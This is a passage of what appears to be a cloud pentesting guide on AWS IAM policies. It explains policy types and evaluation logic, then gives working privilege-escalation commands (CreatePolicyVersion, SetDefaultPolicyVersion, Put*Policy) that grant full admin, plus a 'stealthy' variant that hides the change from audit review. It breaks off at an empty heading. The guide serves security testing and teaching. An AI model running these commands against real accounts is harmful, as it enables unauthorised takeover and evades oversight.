# Policies

## Theory

[IAM Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html) are JSON documents that define permissions in AWS. They specify what actions can be performed on which resources under what conditions. Policies are the core mechanism for authorization in AWS, but they don't grant access by themselves—they must be attached to principals or resources to take effect.

### Policy Types

AWS uses multiple [types of policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#access_policy-types) that work together in a layered defense model to control access. Understanding how these different policy types interact is essential for both securing AWS environments and identifying privilege escalation paths during security assessments.

* [**Identity-based policies**](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_id-based) are the most common policy type. They attach directly to IAM principals such as users, groups, and roles, defining what actions those identities can perform and on which resources. These policies don't include a Principal element because the principal is implicit, it's whoever the policy is attached to. Identity-based policies come in two forms: managed policies that can be reused across multiple identities, and inline policies that are embedded within a single identity.
* [**Resource-based policies**](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_resource-based) take the opposite approach by attaching directly to AWS resources rather than identities. Services like S3, Lambda, KMS, and SNS support resource-based policies that define which principals can access the resource and what they can do with it. Unlike identity-based policies, resource-based policies must include a Principal element to specify who the policy applies to. These policies enable cross-account access without requiring role assumption and use OR logic with identity-based policies access is granted if either policy allows it. See the Resource-Based Policies section for detailed coverage.
* [**Permission Boundaries**](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html) provide a defensive control mechanism by setting the maximum permissions an IAM user or role can have. Even if identity-based policies grant broad permissions like administrator access, a permission boundary can restrict the effective permissions to a limited set of actions and resources. Permission boundaries use managed policies to define these maximum limits and create an intersection with identity-based policies. The effective permissions are only those allowed by both. Organizations commonly use permission boundaries when delegating user or role creation to prevent privilege escalation. See the Permission Boundaries section for detailed coverage including privilege escalation through boundary manipulation.
* [**Service Control Policies (SCPs)**](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) operate at the AWS Organizations level, providing centralized governance over all accounts within an organization. SCPs define the maximum permissions for all IAM users and roles within member accounts, including the account root user, though they don't apply to the organization's management account itself. SCPs act as guardrails rather than grants—they can restrict what IAM policies can allow but cannot grant permissions on their own. An SCP with `"Effect": "Deny"` blocks actions across an entire account regardless of any IAM policies, making SCPs powerful for enforcing organization-wide security standards. See the Service Control Policies section for detailed coverage.
* [**Session Policies**](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_session) are advanced policies passed as parameters when assuming roles or federating users through STS. They provide temporary, session-specific permission restrictions beyond what the role's permission policies define. Session policies are commonly used in federation scenarios where an identity provider needs to dynamically limit what each federated user can do based on their attributes or group memberships. Like permission boundaries, session policies can only restrict permissions. They cannot grant permissions beyond what the role allows. See the Session Policies section for detailed coverage.
* [**Access Control Lists (ACLs)**](https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html) are a legacy access control mechanism primarily used with S3 and CloudFront. ACLs predate IAM policies and provide only coarse-grained permissions using XML rather than JSON. AWS has deprecated ACLs in favor of bucket policies and identity-based policies, and as of April 2023, new S3 buckets have ACLs disabled by default. However, ACLs still exist in many environments for backward compatibility and can create security risks through public access misconfigurations. See the Access Control Lists section for detailed coverage.

The interaction between these policy types follows a specific evaluation order where explicit deny always wins, and effective permissions require alignment across multiple policy layers. Understanding this evaluation logic is critical for both defense and offense in AWS environments.

### Policy Structure

Every IAM policy follows a standard JSON structure. The Version element should always be set to "2012-10-17", which is the current policy language version. The Statement element contains an array of individual permission statements that define the actual permissions.

```json
{
  "Version": "2012-10-17",
  "Id": "PolicyID-12345",
  "Statement": [
    {
      "Sid": "AllowEC2AndS3",
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListBucket"
      ],
      "Resource": [
        "*",
        "arn:aws:s3:::my-bucket"
      ],
      "Condition": {
        "IpAddress": {
          "aws:SourceIp": "203.0.113.0/24"
        }
      }
    }
  ]
}
```

Each statement requires an Effect element that must be either "Allow" or "Deny". The Action element specifies what AWS API operations are affected, while the Resource element defines which AWS resources the statement applies to using ARNs. The optional Condition element lets you add situational requirements like specific IP addresses, time windows, or MFA requirements. Resource-based policies also include a Principal element to specify who the policy applies to, while identity-based policies omit this since the principal is whoever the policy is attached to.

### Policy Evaluation Logic

AWS evaluates policies using a specific [logic flow](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html). By default, all requests are implicitly denied. AWS then evaluates all applicable policies including Organizations SCPs, Permission Boundaries, Session Policies, Identity-Based Policies, and Resource-Based Policies.

The most important rule is that an explicit Deny always wins and cannot be overridden by any Allow statement. If no explicit Deny is found, AWS checks for an explicit Allow. If at least one policy explicitly allows the action and no policies deny it, the request is allowed. If there's no explicit Allow, the request is denied through implicit deny.

When Permission Boundaries or SCPs are involved, the effective permissions become an intersection. Even if an identity-based policy grants full admin access with wildcards, a Permission Boundary can still prevent those actions. This creates a powerful mechanism for setting maximum permission limits that cannot be exceeded regardless of what other policies grant.

<figure><img src="https://329872044-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMdUKdzuqIuObdvCB3mUR%2Fuploads%2FEnNhsIvwJ5wEKesC0wj8%2Fimage.png?alt=media&#x26;token=8621fc99-0bb7-41ec-bb40-763294f87190" alt=""><figcaption></figcaption></figure>

### Managed vs Inline Policies

Managed policies are standalone objects with their own ARN that can be attached to multiple identities. They support versioning, storing up to 5 versions of the policy document, which allows you to roll back changes if needed. AWS provides AWS Managed Policies that are created and maintained by AWS, identifiable by the `arn:aws:iam::aws:policy/` prefix. You can also create Customer Managed Policies with the format `arn:aws:iam::123456789012:policy/MyCustomPolicy`, giving you reusable policies that can be centrally managed and shared across multiple users, groups, or roles.

Inline policies work differently—they're embedded directly in a single user, group, or role, creating a strict 1:1 relationship. When you delete the identity, the inline policy is also deleted. This tight coupling makes inline policies useful when you need to ensure a policy cannot be accidentally attached to other identities, maintaining strict permission isolation.

### Policy Variables

[Policy variables](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html) allow you to create dynamic policies where values are substituted at runtime based on the request context. This is particularly useful for creating policies that adapt to different users without needing separate policy documents.

```json
{
  "Effect": "Allow",
  "Action": "s3:*",
  "Resource": "arn:aws:s3:::my-bucket/${aws:username}/*"
}
```

The example above grants each user access to their own folder in an S3 bucket by substituting their username into the resource path. AWS provides numerous variables you can use: `${aws:username}` for the IAM user name, `${aws:userid}` for the unique immutable user/role ID, `${aws:SourceIp}` for the requester's IP address, `${aws:CurrentTime}` for timestamp-based conditions, `${aws:SecureTransport}` to check if HTTPS is being used, and `${aws:MultiFactorAuthPresent}` to verify MFA authentication. These variables enable sophisticated access control patterns without policy duplication.

### Permission Boundaries

[Permission boundaries](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html) are an advanced IAM feature that sets the maximum permissions an IAM entity (user or role) can have. Even if identity-based policies grant broad permissions, the effective permissions are limited to the intersection of the identity-based policies and the permission boundary. This provides a defensive control to prevent privilege escalation beyond intended limits.

Permission boundaries use managed policies (not inline policies) to define the maximum allowed permissions. When you attach a permission boundary to a user or role, that entity cannot perform any action unless both their identity-based policies *and* the permission boundary allow it. This creates a logical AND operation between the two policy sets.

```
Effective Permissions = Identity-Based Policies ∩ Permission Boundaries
```

Consider a scenario where a user has the `AdministratorAccess` policy attached but also has a permission boundary that only allows S3 and DynamoDB access. Despite having the administrator policy, the user can only access S3 and DynamoDB because the permission boundary restricts everything else. This mechanism is commonly used when delegating IAM user creation—you can grant someone `iam:CreateUser` and `iam:AttachUserPolicy`, but require them to attach a permission boundary that prevents the created users from gaining excessive privileges.

From a security perspective, permission boundaries create both defensive and offensive considerations. Defensively, they prevent privilege escalation by limiting what permissions can be granted. Offensively, if you have permission to modify or remove permission boundaries (`iam:DeleteUserPermissionsBoundary` or `iam:PutUserPermissionsBoundary`), you can expand effective permissions by removing the restrictive boundary or replacing it with a more permissive one.

Permission boundaries only affect IAM users and roles—they do not apply to resource-based policies, service control policies (SCPs), or session policies. Additionally, permission boundaries do not grant permissions on their own; they only limit what can be granted. You need both an identity-based policy granting access AND no restriction from the boundary.

Key permissions related to permission boundaries include:

* `iam:PutUserPermissionsBoundary` - Attach or modify a user's permission boundary
* `iam:PutRolePermissionsBoundary` - Attach or modify a role's permission boundary
* `iam:DeleteUserPermissionsBoundary` - Remove a user's permission boundary
* `iam:DeleteRolePermissionsBoundary` - Remove a role's permission boundary
* `iam:GetUser` / `iam:GetRole` - View current permission boundary configuration

Organizations typically use permission boundaries in several patterns. The delegation pattern allows trusted users to create other IAM users/roles but requires them to attach a permission boundary that limits what those new users can do. The sandbox pattern gives developers broad permissions to experiment in sandbox accounts, but permission boundaries prevent them from accessing production resources. The contractor pattern grants third-party contractors necessary permissions but uses boundaries to prevent access to sensitive services or data.

### Service Control Policies (SCPs)

[Service Control Policies (SCPs)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) are organization-level policies that provide centralized control over the maximum permissions for all accounts within an [AWS Organization](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_introduction.html). Unlike IAM policies that grant permissions, SCPs act as permission guardrails that define the boundaries of what can be done within member accounts, regardless of IAM policies configured within those accounts.

SCPs are attached to organization roots, organizational units (OUs), or individual accounts within the organization hierarchy. When attached, they affect all IAM users and roles within the target accounts, including the account root user. This is a critical distinction—SCPs are one of the few mechanisms that can restrict the root user's permissions. However, SCPs do not affect resource-based policies, service-linked roles, or AWS service principals performing actions on your behalf.

The SCP evaluation logic follows an inheritance pattern down the organization hierarchy. If an SCP is attached to the organization root, it applies to all accounts in the organization. If an SCP is attached to an OU, it applies to all accounts within that OU and any nested OUs. If an SCP is attached directly to an account, it only affects that specific account. When multiple SCPs apply to an account through this inheritance chain, the effective SCP is the intersection of all applicable SCPs—the account can only perform actions allowed by all SCPs in the hierarchy.

```
Effective Permissions = Identity-Based Policies ∩ Permission Boundaries ∩ SCPs
```

AWS Organizations creates a default SCP called `FullAWSAccess` that allows all actions and services. This SCP is attached to all roots, OUs, and accounts by default, effectively imposing no restrictions. The common pattern is to leave this default SCP attached and add additional restrictive SCPs to layer on controls. Alternatively, organizations can remove `FullAWSAccess` and explicitly allow only specific services, creating a deny-by-default model.

SCPs use the same JSON policy syntax as IAM policies but only support Allow and Deny effects without conditions based on specific resources (you can use `"Resource": "*"` but not specific ARNs). An SCP with `"Effect": "Allow"` doesn't actually grant permissions—it only defines what permissions *can* be granted through IAM policies. An SCP with `"Effect": "Deny"` explicitly prevents actions regardless of any IAM policies.

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": [
        "ec2:TerminateInstances",
        "rds:DeleteDBInstance"
      ],
      "Resource": "*"
    }
  ]
}
```

This example SCP prevents deletion of EC2 instances and RDS databases across all accounts where it's applied, even if IAM policies grant those permissions. This is commonly used to prevent accidental or malicious deletion of production resources.

Common SCP use cases include enforcing regional restrictions to comply with data sovereignty requirements, preventing disabling of security services like CloudTrail or GuardDuty, blocking risky services that the organization doesn't use, preventing account-level changes like leaving the organization, and enforcing encryption or MFA requirements across all accounts.

From an attacker's perspective, SCPs represent a hard constraint that cannot be bypassed through IAM privilege escalation. If an SCP denies an action, no amount of IAM policy manipulation will grant that permission. However, SCPs have important limitations: they don't apply to the organization's management account (the account that created the organization), they don't affect resource-based policies within accounts, and they don't apply to service-linked roles that AWS services automatically create.

Additionally, if you compromise credentials in the organization's management account, you can modify or remove SCPs affecting member accounts, lifting restrictions across the entire organization. The management account also has permissions to assume the `OrganizationAccountAccessRole` in member accounts, providing another escalation path if the management account is compromised.

### Session Policies

[Session policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_session) are advanced policies that can be passed as parameters when assuming a role or federating a user via STS. They provide an additional layer of permission restriction beyond the role's permissions policies, allowing you to limit what the session can do even if the role itself has broader permissions.

Session policies are typically used in federation scenarios where a centralized identity provider authenticates users and then assumes AWS roles on their behalf. By passing a session policy during the assume role operation, the identity provider can dynamically restrict the session's permissions based on the user's attributes, group memberships, or other contextual information from the identity provider.

When you call [`sts:AssumeRole`](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html), [`sts:AssumeRoleWithSAML`](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html), or [`sts:AssumeRoleWithWebIdentity`](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html), you can include a `Policy` parameter containing a JSON policy document. This session policy acts as a permissions filter for the duration of the session, restricting what the temporary credentials can do.

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::customer-data-bucket",
        "arn:aws:s3:::customer-data-bucket/*"
      ]
    }
  ]
}
```

If you assume a role that has `AdministratorAccess` but pass the above session policy, your session will only be able to perform S3 read operations on the specified bucket, despite the role having full admin permissions. The effective permissions for the session are the intersection of the role's permissions policies and the session policy.

```
Session Permissions = Role Permissions ∩ Session Policy
```

Session policies have a maximum size of 2,048 characters when passed as a parameter, or 10,240 characters when passed by reference using a policy ARN. This size limit can be restrictive for complex policies. Session policies can only further restrict permissions—they cannot grant permissions beyond what the role's permissions policies allow. You cannot use a session policy to expand permissions.

The session policy is evaluated alongside permission boundaries and SCPs. If any of these mechanisms deny an action, the session cannot perform it, even if other policies allow it. The complete evaluation for a session with a session policy becomes:

```
Effective Permissions = Identity-Based Policies ∩ Permission Boundaries ∩ SCPs ∩ Session Policies
```

From a security perspective, session policies provide defense in depth by ensuring that even if a role is over-permissioned, individual sessions can be restricted to least privilege. However, if an attacker compromises credentials that can assume a role without passing a session policy, they gain the role's full permissions. Session policies are not enforced by the role itself—they must be actively passed during the assume role operation.

This creates an attack scenario where if you can call `sts:AssumeRole` directly (rather than through a federated identity provider that adds session policies), you can omit the session policy and gain the role's unrestricted permissions. Organizations should not rely solely on session policies for security if the role's trust policy allows direct assumption without session policy enforcement.

### Resource-Based Policies

[Resource-based policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_resource-based) are JSON policies attached directly to AWS resources rather than to IAM identities. They define who can access the resource and what actions they can perform, providing a resource-centric approach to access control that complements identity-based policies.

The fundamental difference between resource-based and identity-based policies lies in the `Principal` element. Resource-based policies must include a `Principal` element that specifies which AWS principals (IAM users, roles, accounts, or services) are allowed or denied access to the resource. Identity-based policies omit the `Principal` element because it's implicit—the principal is whoever the policy is attached to.

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:user/alice"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::my-bucket/*"
    }
  ]
}
```

This S3 bucket policy allows the IAM user `alice` from account `123456789012` to retrieve objects from the bucket. The principal can access the bucket even if their own account's IAM policies don't explicitly grant `s3:GetObject`—the resource-based policy grants the permission from the resource side.

Only certain AWS services support resource-based policies. The most commonly used services include [S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html), [KMS keys](https://docs.aws.amazon.com/kms/latest/developerguide/key-policies.html), [Lambda functions](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html), [SNS topics](https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-language-api-permissions-reference.html), [SQS queues](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-creating-custom-policies.html), [Secrets Manager secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_resource-based-policies.html), [ECR repositories](https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html), [EventBridge buses](https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-resource-based.html), and [API Gateway APIs](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html).

Resource-based policies enable several important access patterns. For cross-account access, you can grant principals in other AWS accounts permission to access your resources without requiring role assumption. For service access, you can allow AWS services to access your resources by specifying service principals like `"Principal": {"Service": "lambda.amazonaws.com"}`. For public access, you can grant anonymous access using `"Principal": "*"`, though this should be carefully controlled.

The evaluation logic for resource-based policies differs from identity-based policies in cross-account scenarios. When a principal from one AWS account accesses a resource in another account, AWS evaluates both the identity-based policies in the principal's account and the resource-based policy in the resource's account. Access is granted if either the identity-based policies allow the action OR the resource-based policy allows it—the evaluation uses a logical OR rather than AND.

```
Cross-Account Access = Identity-Based Policies OR Resource-Based Policies
```

However, explicit deny statements still override any allow. If either the identity-based policies or the resource-based policy contains an explicit deny for the action, access is denied regardless of any allow statements elsewhere.

This OR logic creates security implications. If you grant broad permissions in a resource-based policy like allowing `"Principal": {"AWS": "*"}`, any authenticated AWS principal can access the resource even if their own IAM administrator intended to restrict their access. This is why misconfigured S3 bucket policies are a common source of data breaches—the bucket owner's policy can grant access that the user's account administrator didn't intend to allow.

From an attacker's perspective, resource-based policies provide several opportunities. Enumerating resource-based policies can reveal unintended access grants including public access with `"Principal": "*"`, cross-account access to external AWS accounts, overly broad service principal trusts, and wildcard resource ARNs granting excessive access. Additionally, if you have permissions to modify resource-based policies (`s3:PutBucketPolicy`, `lambda:AddPermission`, etc.), you can grant yourself or external accounts access to sensitive resources, establishing persistence or enabling data exfiltration.

### Access Control Lists (ACLs)

[Access Control Lists (ACLs)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html) are a legacy access control mechanism that predates IAM policies. While ACLs still exist and are supported for backward compatibility, AWS strongly recommends using IAM policies and bucket policies instead. As of April 2023, AWS has disabled ACLs by default for all new S3 buckets, requiring explicit enabling if you need them.

ACLs are primarily associated with Amazon S3, though they also exist for other services like CloudFront. An S3 ACL defines which AWS accounts or groups can access the object or bucket and what permissions they have. Unlike IAM policies which use JSON, ACLs use XML and provide only coarse-grained permissions like READ, WRITE, READ\_ACP (read ACL), and WRITE\_ACP (write ACL).

```xml
<AccessControlPolicy>
  <Owner>
    <ID>canonical-user-id</ID>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
        <ID>grantee-canonical-user-id</ID>
      </Grantee>
      <Permission>READ</Permission>
    </Grant>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
        <URI>http://acs.amazonaws.com/groups/global/AllUsers</URI>
      </Grantee>
      <Permission>READ</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>
```

ACLs identify grantees using canonical user IDs (the unique identifier for an AWS account), predefined groups (like `AllUsers` for public access or `AuthenticatedUsers` for any AWS account), or email addresses for AWS account root users. The email address option is particularly notable because it enables unauthenticated enumeration of root user email addresses, which can be leveraged for account reconnaissance as described in the Unauthenticated Enumeration page.

The limitations of ACLs are numerous. They provide only basic permissions compared to the fine-grained control of IAM policies, they cannot specify conditions or restrict actions beyond the predefined permission types, they apply at the bucket or object level without the flexibility of resource ARNs, and managing ACLs at scale is significantly more difficult than using IAM policies. Most importantly, ACLs and bucket policies can conflict, creating confusion about effective permissions.

When both a bucket policy and ACL apply to the same resource, AWS uses a least-privilege union—access is granted if either mechanism allows it and neither denies it. However, this creates complexity in understanding and auditing permissions. An object might be accessible through an ACL even if the bucket policy would deny access, or vice versa, making it difficult to determine effective permissions without checking both mechanisms.

From a security standpoint, ACLs present several risks. Public access grants using the `AllUsers` or `AuthenticatedUsers` groups are common misconfigurations that expose sensitive data. The `AuthenticatedUsers` group is particularly dangerous because it grants access to any AWS account, not just accounts in your organization—any AWS user anywhere can access resources with this grant. Organizations often don't realize this distinction and use `AuthenticatedUsers` thinking it means their organization's authenticated users.

AWS has introduced the [S3 Block Public Access](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html) feature specifically to mitigate ACL-based public access risks. When enabled, Block Public Access prevents ACLs from granting public access regardless of what the ACL specifies. This provides a safety net against misconfigurations, but it must be explicitly enabled and can be disabled by anyone with appropriate permissions.

For attackers, ACLs provide limited but still valuable opportunities. If you have permissions to modify ACLs (`s3:PutBucketAcl` or `s3:PutObjectAcl`), you can grant public access to sensitive data, grant access to external AWS accounts you control, or enumerate root user email addresses as mentioned earlier. However, the coarse-grained nature of ACL permissions means they're less flexible than bucket policies for sophisticated attacks.

The recommended approach for all new implementations is to disable ACLs entirely and rely on IAM policies and bucket policies. For existing buckets using ACLs, organizations should migrate to bucket policies and then disable ACLs to reduce the attack surface and simplify permissions management.

## Practice

### Reconnaissance

Before exploiting policy misconfigurations, you need to understand what policies exist in the environment and what permissions they grant. Policies can be attached at multiple levels - directly to users, inherited through groups, or attached to roles.&#x20;

Enumerating all policies helps identify overly permissive configurations and potential privilege escalation paths.

{% tabs %}
{% tab title="awscli" %}
The first step is listing all policies in the account. AWS maintains thousands of managed policies, while customer-managed policies are specific to the account. You'll also want to enumerate which policies are attached to specific identities to understand your current permissions and find paths to higher privileges.

```bash
# List AWS managed policies
aws iam list-policies --scope AWS --max-items 20

# List customer managed policies
aws iam list-policies --scope Local

# List policies attached to user
aws iam list-attached-user-policies --user-name alice

# List inline policies for user
aws iam list-user-policies --user-name alice

# List policies attached to role
aws iam list-attached-role-policies --role-name AdminRole

# List inline policies for role
aws iam list-role-policies --role-name AdminRole
```

Once you've identified interesting policies by name or ARN, you need to retrieve their actual JSON content to understand what permissions they grant. Managed policies use versioning, so you must first get the policy metadata to find the default version ID, then retrieve that specific version's document.

```bash
# Get policy metadata
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Get policy document (requires version)
POLICY_ARN="arn:aws:iam::aws:policy/AdministratorAccess"
VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN --query 'Policy.DefaultVersionId' --output text)

aws iam get-policy-version \
    --policy-arn $POLICY_ARN \
    --version-id $VERSION

# Get inline policy
aws iam get-user-policy \
    --user-name alice \
    --policy-name MyInlinePolicy
```

{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) provides automated IAM enumeration capabilities that collect all policies across users, groups, and roles in a single command. This is much faster than manual enumeration and provides a comprehensive view of the IAM attack surface.

```bash
# Configure Pacu session
pacu

# Set AWS keys
set_keys

# Enumerate all IAM permissions for current identity
run iam__enum_permissions

# Enumerate all IAM users, groups, roles, and policies in account
run iam__enum_users_roles_policies_groups
```

{% endtab %}

{% tab title="Python" %}
Manually enumerating policies for multiple users becomes tedious. This script automates the process of collecting all policies attached to a specific user, including both managed policies (retrieved from their ARN) and inline policies (embedded directly in the user). This gives you a complete picture of what permissions a compromised user account possesses.

```python
import boto3
import json

iam = boto3.client('iam')

def get_all_user_policies(username):
    """Get all policies for a user"""
    policies = []

    # Attached managed policies
    attached = iam.list_attached_user_policies(UserName=username)
    for policy in attached['AttachedPolicies']:
        policy_arn = policy['PolicyArn']
        policy_info = iam.get_policy(PolicyArn=policy_arn)
        version = policy_info['Policy']['DefaultVersionId']

        policy_doc = iam.get_policy_version(
            PolicyArn=policy_arn,
            VersionId=version
        )

        policies.append({
            'Type': 'Managed',
            'PolicyName': policy['PolicyName'],
            'PolicyArn': policy_arn,
            'Document': policy_doc['PolicyVersion']['Document']
        })

    # Inline policies
    inline_names = iam.list_user_policies(UserName=username)
    for policy_name in inline_names['PolicyNames']:
        policy_doc = iam.get_user_policy(
            UserName=username,
            PolicyName=policy_name
        )

        policies.append({
            'Type': 'Inline',
            'PolicyName': policy_name,
            'Document': policy_doc['PolicyDocument']
        })

    return policies

# Usage
user_policies = get_all_user_policies('alice')
for policy in user_policies:
    print(f"[+] {policy['Type']}: {policy['PolicyName']}")
    print(json.dumps(policy['Document'], indent=2))
```

{% endtab %}

{% tab title="ScoutSuite" %}
[ScoutSuite](https://github.com/nccgroup/scoutsuite) performs comprehensive IAM security audits, automatically identifying misconfigurations including overly permissive policies, unused credentials, and privilege escalation paths. It generates an HTML report with all findings.

```bash
# Run ScoutSuite IAM assessment
python scout.py aws --profile default --services iam

# Focus only on IAM service
python scout.py aws --profile default --services iam --no-browser
```

{% endtab %}
{% endtabs %}

### CreatePolicyVersion Attack

The `iam:CreatePolicyVersion` permission allows you to create new versions of existing customer-managed policies. When you create a new policy version with the `--set-as-default` flag, it immediately becomes the active version, effectively modifying the permissions of all identities that have the policy attached. This provides a direct path to privilege escalation if you have this permission on any policy attached to your own identity or a group you belong to.

{% tabs %}
{% tab title="Exploit" %}
The basic attack involves:

* &#x20;finding a customer-managed policy that's attached to your user or group,&#x20;
* then creating a new version of that policy that grants administrator access.&#x20;
* Since the new version becomes the default, you immediately gain those elevated permissions without needing to attach any new policies.

```bash
# Find policies you can modify
aws iam list-policies --scope Local | \
    jq -r '.Policies[] | select(.AttachmentCount > 0) | .Arn'

# Create admin policy document
cat > admin.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
EOF

# Create new version (becomes default)
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
    --policy-document file://admin.json \
    --set-as-default

# Now have admin permissions!
```

{% endtab %}

{% tab title="Stealthy Version" %}
For a more covert approach, you can retrieve the current policy, add admin permissions to it while preserving the existing statements, then restore the original version after performing your actions. This makes the attack less obvious in audit logs since the policy changes appear more subtle and can be quickly reverted.

```bash
# Get current policy
POLICY_ARN="arn:aws:iam::123456789012:policy/MyPolicy"
VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN --query 'Policy.DefaultVersionId' --output text)

aws iam get-policy-version \
    --policy-arn $POLICY_ARN \
    --version-id $VERSION > current_policy.json

# Modify to add admin permissions
jq '.PolicyVersion.Document.Statement += [{"Effect":"Allow","Action":"*","Resource":"*"}]' \
    current_policy.json > modified_policy.json

# Create new version
aws iam create-policy-version \
    --policy-arn $POLICY_ARN \
    --policy-document file://modified_policy.json \
    --set-as-default

# Use permissions...

# [OPTIONAL] Restore original by setting old version as default
aws iam set-default-policy-version \
    --policy-arn $POLICY_ARN \
    --version-id $VERSION
```

{% endtab %}
{% endtabs %}

### SetDefaultPolicyVersion Attack

Managed policies can have up to 5 versions stored simultaneously. During development, administrators sometimes create privileged policy versions for testing and then switch to more restrictive versions for production use—but they don't always delete the old privileged versions. If you have the `iam:SetDefaultPolicyVersion` permission, you can switch the active version back to one of these stored privileged versions, instantly gaining elevated permissions without creating any new policy content.

{% tabs %}
{% tab title="Find Privileged Version" %}
Before you can exploit this permission, you need to enumerate all versions of a policy and check which ones contain privileged permissions. Administrators often create overly permissive versions during testing, then scale them back for production without deleting the privileged versions.&#x20;

This script checks each version for wildcard permissions that indicate elevated access.

```bash
#!/bin/bash
# find_privileged_versions.sh

POLICY_ARN=$1

# List all versions
aws iam list-policy-versions --policy-arn $POLICY_ARN --query 'Versions[].VersionId' --output text | \
while read version; do
    echo "=== Version: $version ==="

    # Get policy document
    aws iam get-policy-version \
        --policy-arn $POLICY_ARN \
        --version-id $version | \
        jq '.PolicyVersion.Document'

    # Check for wildcards
    if aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $version | grep -q '"*"'; then
        echo "[!] PRIVILEGED VERSION FOUND: $version"
    fi
    echo ""
done
```

{% endtab %}

{% tab title="Exploit" %}
Once you've identified a privileged version, switching to it is a single API call. This immediately updates the policy for all attached identities. If the policy is attached to your user or a group you're in, you instantly gain the permissions from that version.

```bash
# If you find a privileged version (e.g., v3 has admin access)
aws iam set-default-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
    --version-id v3
```

{% endtab %}
{% endtabs %}

### PutUserPolicy / PutGroupPolicy / PutRolePolicy

The Put Policy family of permissions allows you to create or update inline policies directly on IAM identities. Unlike managed policies which are standalone objects, inline policies are embedded directly in the user, group, or role.&#x20;

If you have `iam:PutUserPolicy` on your own user, `iam:PutGroupPolicy` on a group you belong to, or `iam:PutRolePolicy` on a role you can assume, you can grant yourself arbitrary permissions including full administrator access.

{% tabs %}
{% tab title="PutUserPolicy" %}
If you have permission to create or update inline policies on your own user, you can directly embed an admin policy into your user account. This bypasses the need to work with managed policies entirely. The inline policy takes effect immediately and grants you whatever permissions you include in the policy document.

```bash
# Add admin policy to yourself
CURRENT_USER=$(aws iam get-user --query 'User.UserName' --output text)

cat > admin_inline.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
EOF

aws iam put-user-policy \
    --user-name $CURRENT_USER \
    --policy-name AdminEscalation \
    --policy-document file://admin_inline.json
```

{% endtab %}

{% tab title="PutGroupPolicy" %}
If you belong to a group and have `iam:PutGroupPolicy` permission on that group, you can add an inline policy to the group. This affects all members of the group, not just you. This can be useful if you want to escalate privileges for multiple compromised accounts simultaneously.

```bash
# Add admin policy to group you're member of
aws iam put-group-policy \
    --group-name Developers \
    --policy-name GroupAdmin \
    --policy-document file://admin_inline.json
```

{% endtab %}

{% tab title="PutRolePolicy" %}
Roles that you can already assume are valuable escalation targets. If you have `iam:PutRolePolicy` on a role you can assume, you can add an inline policy with admin permissions to that role, then assume it to gain elevated access. This is particularly powerful for roles that might have other useful permissions or trust relationships.

```bash
# Add admin policy to role you can assume
aws iam put-role-policy \
    --role-name MyAssumeableRole \
    --policy-name RoleAdmin \
    --policy-document file://admin_inline.json

# Assume role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/MyAssumeableRole \
    --role-session-name escalated
```

{% endtab %}
{% endtabs %}

### AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy

